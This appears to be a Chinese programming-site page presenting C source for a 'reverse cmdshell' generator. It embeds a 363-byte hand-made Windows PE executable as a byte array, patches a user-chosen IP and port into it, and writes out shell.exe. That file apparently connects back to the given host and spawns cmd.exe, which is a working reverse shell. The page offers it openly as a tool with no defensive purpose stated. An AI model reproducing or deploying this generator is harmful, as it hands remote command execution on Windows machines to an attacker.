当前位置:编程学习 > 网站相关 >>

反弹cmdshell小程序

PE文件由顺@bbs.icehack.com制作,为手工写成,大小为363字节。在此感谢!

#include <stdio.h>

#include <windows.h>
#define IP_OFFSET 98
#define IP_SPACE 12
#define PORT_OFFSET 221
unsigned char data[363] = {
   0x4D, 0x5A, 0x00, 0x00, 0x50, 0x45, 0x00, 0x00, 0x4C, 0x01, 0x00, 0x00, 0x77, 0x73, 0x32, 0x5F,
   0x33, 0x32, 0x2E, 0x44, 0x4C, 0x4C, 0x00, 0x00, 0x46, 0x00, 0x0F, 0x01, 0x0B, 0x01, 0x68, 0x0C,
   0x00, 0x40, 0x00, 0xE8, 0x53, 0x1D, 0x40, 0x7C, 0x90, 0x90, 0xEB, 0x24, 0x1E, 0x00, 0x00, 0x00,
   0x6A, 0x00, 0xEB, 0x1C, 0xAC, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x04, 0x00, 0x00, 0x00,
   0x04, 0x00, 0x00, 0x00, 0xB2, 0x00, 0x00, 0x00, 0x6A, 0x00, 0xEB, 0x10, 0x04, 0x00, 0x00, 0x00,
   0xEB, 0x62, 0x00, 0x00, 0x77, 0xC3, 0x00, 0x00, 0x62, 0x00, 0x00, 0x00, 0x6A, 0x00, 0xEB, 0xD0,
   0x02, 0x00, 0x31, 0x32, 0x37, 0x2E, 0x30, 0x2E, 0x30, 0x2E, 0x31, 0x00, 0x00, 0x00, 0x00, 0x00,
   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
   0x63, 0x6D, 0x64, 0x2E, 0x65, 0x78, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
   0x00, 0x00, 0x00, 0x00, 0x81, 0xEC, 0xF4, 0x01, 0x00, 0x00, 0x56, 0x8D, 0x44, 0x24, 0x68, 0x57,
   0x50, 0x68, 0x02, 0x02, 0x00, 0x00, 0xE8, 0x8A, 0x69, 0x62, 0x71, 0x6A, 0x00, 0x6A, 0x00, 0x6A,
   0x00, 0x6A, 0x06, 0x6A, 0x01, 0x6A, 0x02, 0xE8, 0x8E, 0x8A, 0x62, 0x71, 0x68, 0x3E, 0x03, 0x00,
   0x00, 0x8B, 0xF0, 0x66, 0xC7, 0x44, 0x24, 0x0C, 0x02, 0x00, 0xE8, 0x64, 0x2D, 0x62, 0x71, 0x68,
   0x62, 0x00, 0x40, 0x00, 0x66, 0x89, 0x44, 0x24, 0x0E, 0xE8, 0xE3, 0x2D, 0x62, 0x71, 0x8D, 0x4C,
   0x24, 0x08, 0x6A, 0x10, 0x51, 0x56, 0x89, 0x44, 0x24, 0x18, 0xE8, 0xF8, 0x48, 0x62, 0x71, 0xB9,
   0x11, 0x00, 0x00, 0x00, 0x33, 0xC0, 0x8D, 0x7C, 0x24, 0x18, 0x8D, 0x54, 0x24, 0x5C, 0xF3, 0xAB,
   0x66, 0x89, 0x44, 0x24, 0x48, 0x8D, 0x44, 0x24, 0x18, 0x52, 0x50, 0x6A, 0x00, 0x6A, 0x00, 0x6A,
   0x00, 0x6A, 0x01, 0x6A, 0x00, 0x6A, 0x00, 0x68, 0x80, 0x00, 0x40, 0x00, 0x6A, 0x00, 0xC7, 0x44,
   0x24, 0x40, 0x44, 0x00, 0x00, 0x00, 0xC7, 0x44, 0x24, 0x6C, 0x01, 0x01, 0x00, 0x00, 0x89, 0xB4,
   0x24, 0x80, 0x00, 0x00, 0x00, 0x89, 0x74, 0x24, 0x7C, 0x89, 0x74, 0x24, 0x78, 0xE8, 0x09, 0x22,
   0x40, 0x7C, 0x5F, 0x5E, 0x81, 0xC4, 0xF4, 0x01, 0x00, 0x00, 0xC3
};
int main(int argc,char *argv[])
{
   FILE *fd;
   char ip[13];
   int port;
   int *port_p = &port;
   unsigned char *data_p = (unsigned char*)data;


   if(argc != 3)
   {
       printf("%s <Local IP> <Local Port> ",argv[0]);
       return -1;
   }
   printf("Thanks 顺@bbs.icehack.com provide the PE file ");
   printf("Code by:帝释天@bbs.icehack.com ylbhz@hotmail.com ");

   strcpy(ip,argv[1]);
   port = atoi(argv[2]);

   memset(data_p+IP_OFFSET,NULL,IP_SPACE);
   memcpy(data_p+IP_OFFSET,ip,strlen(ip));
   memcpy(data_p+PORT_OFFSET,port_p,2);

   fd = fopen("shell.exe","wb");
   fwrite(data,363,1,fd);
   fclose(fd);

   printf("Create File shell.exe Done. ");

   return 0;
}
补充:综合编程 , 安全编程 ,
CopyRight © 2022 站长资源库 编程知识问答 zzzyk.com All Rights Reserved
部分文章来自网络,